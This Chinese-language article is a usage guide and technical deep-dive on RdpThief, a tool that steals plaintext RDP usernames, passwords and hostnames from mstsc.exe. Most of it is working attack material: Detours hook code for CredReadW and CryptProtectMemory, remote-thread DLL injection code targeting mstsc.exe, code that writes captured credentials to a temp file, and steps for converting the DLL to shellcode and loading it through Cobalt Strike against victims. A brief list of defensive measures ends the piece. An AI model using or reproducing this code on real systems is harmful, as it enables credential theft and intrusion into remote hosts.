对获取 rdp 密码的小工具 RdpThief 的一次深究
字数 1969 2025-08-07 08:22:02
RdpThief 工具深度分析与使用指南
0x01 工具概述
RdpThief 是一款用于窃取 Windows 远程桌面(RDP)连接凭证的工具,能够捕获 mstsc.exe 进程中的明文用户名、密码和主机信息。该工具最初发布于2019年,通过 API Hook 技术实现凭证窃取。
0x02 工具原理
RdpThief 通过 Hook 以下关键 API 函数实现凭证窃取:
- CredIsMarshaledCredentialWStub - 获取用户名
- CredReadWStub/SspiPrepareForCredRead - 获取主机名
- CryptProtectMemory - 获取密码
0x03 环境准备
测试环境
- 两台 Windows 10 主机
- 工具:API Monitor、WinDbg
复现步骤
- 从 GitHub 下载 RdpThief 仓库
- 将
RdpThief_x64.tmp和RdpThief.cna放入 Cobalt Strike 的 scripts 目录 - 在 Cobalt Strike 中加载
RdpThief.cna插件 - 使用命令
rdpthief_enable启动监控 - 当受害者使用 mstsc 连接远程主机时,使用
rdpthief_dump查看凭证
0x04 技术分析
1. 用户名获取分析
用户名出现在 Advapi32.dll 的 CredIsMarshaledCredentialWStub 函数中:
bp ADVAPI32!CredIsMarshaledCredentialWStub "du @rcx"
使用 WinDbg 调试时需要注意:
- 使用 fastcall 调用约定,第一个参数在 RCX 寄存器
- API Monitor 显示的函数名可能与实际不符,需使用模糊搜索
2. 主机名获取分析
主机名出现在两个位置:
Advapi32.dll的CredReadWStub函数SspiCli.dll的SspiPrepareForCredRead函数
调试命令:
bp ADVAPI32!CredReadWStub "du @rcx"
bp SSPICLI!SspiPrepareForCredRead "du @rdx"
3. 密码获取分析
密码使用 Windows DPAPI(数据加密保护接口)进行保护,关键函数:
CryptProtectMemory- 加密内存数据CryptUnprotectMemory- 解密内存数据
调试发现密码出现在 dpapi.dll 的 CryptProtectMemory 函数中:
bu dpapi!cryptprotectmemory
密码存储格式:
- 前4字节为密码长度(cbData)
- 后续字节为实际密码内容
查看密码命令:
du @rcx+4
0x05 Detours 库使用
RdpThief 使用 Microsoft Detours 库实现 API Hook:
1. 编译 Detours
- 下载 Detours 源码
- 使用 VS 2019 x64/x86 Native Tools Command Prompt
- 进入 src 目录执行
nmake /f Makefile
2. 基本 Hook 示例
#include <windows.h>
#include "detours.h"
#pragma comment(lib, "detours.lib")
// 原函数指针
int (WINAPI* Old_MessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT) = MessageBoxW;
// 新Hook函数
int WINAPI New_MessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
return Old_MessageBoxW(NULL, L"Hooked", L"Hooked Title", NULL);
}
void Hook() {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW);
DetourTransactionCommit();
}
void DeHook() {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW);
DetourTransactionCommit();
}
0x06 RdpThief 代码修改与编译
1. 项目配置
- 创建 DLL 项目
- 添加 Detours 包含目录和库目录
- 修改
#include "stdafx.h"为#include "pch.h" - 添加
#pragma comment(lib, "detours.lib")
2. 关键修改点
修改主机名获取方式(从 SspiPrepareForCredRead 改为 CredReadW):
static BOOL (WINAPI * OriginalCredReadW)(_In_ LPCWSTR TargetName, _In_ DWORD Type,
_Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) = CredReadW;
BOOL HookedCredReadW(_In_ LPCWSTR TargetName, _In_ DWORD Type,
_Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) {
lpServer = TargetName;
return OriginalCredReadW(TargetName, Type, Flags, Credential);
}
3. 密码处理注意事项
密码数据偏移处理:
lpTempPassword = (LPWSTR)(pDataIn + 0x1); // 跳过前4字节长度字段
0x07 DLL 注入测试
使用远程线程注入测试编译的 DLL:
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("E:\\path\\to\\RdpThief.dll");
DWORD parentPID = getPPID(L"mstsc.exe");
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPID);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath,
sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress,
remoteBuffer, 0, NULL);
CloseHandle(processHandle);
0x08 输出编码问题解决
原始输出使用 Unicode 编码导致方框问题,修改为多字节编码:
char* UnicodeToChar(LPCWSTR unicode_str) {
int num = WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1,
NULL, 0, NULL, FALSE);
char* pchar = (char*)malloc(num);
WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1,
pchar, num, NULL, FALSE);
return pchar;
}
VOID WriteCredentials() {
TCHAR wtempPath[MAX_PATH];
GetTempPath(MAX_PATH, wtempPath);
char tempPath[MAX_PATH];
wcstombs(tempPath, wtempPath, wcslen(wtempPath) + 1);
ofstream f_temp(string(tempPath) + "data.bin");
if(f_temp) {
f_temp << "Server: " << UnicodeToChar(lpServer)
<< "\nUsername:" << UnicodeToChar(lpUsername)
<< "\nPassword: " << UnicodeToChar(lpTempPassword)
<< "\n\n";
}
f_temp.close();
}
0x09 Windows 7 兼容性修复
在项目属性中修改:
- 配置属性 -> C/C++ -> 代码生成
- 将运行库从"多线程DLL(/MD)"改为"多线程(/MT)"
0x0A Cobalt Strike 集成
使用 sRDI 将 DLL 转换为 shellcode:
python3 ConvertToShellcode.py RdpThief.dll
将生成的 RdpThief.bin 重命名为 RdpThief_x64.tmp 并放入 CS 的 scripts 目录。
0x0B 已知问题
- API Monitor、WinDbg 和 VS 中函数名不一致问题
- CS 插件加载后获取数据偶尔乱码问题
- 部分 Windows 版本兼容性问题
0x0C 防御建议
- 监控 mstsc.exe 的异常 DLL 注入行为
- 检查临时目录下的 data.bin 文件
- 使用 Credential Guard 保护凭证
- 限制远程桌面客户端的权限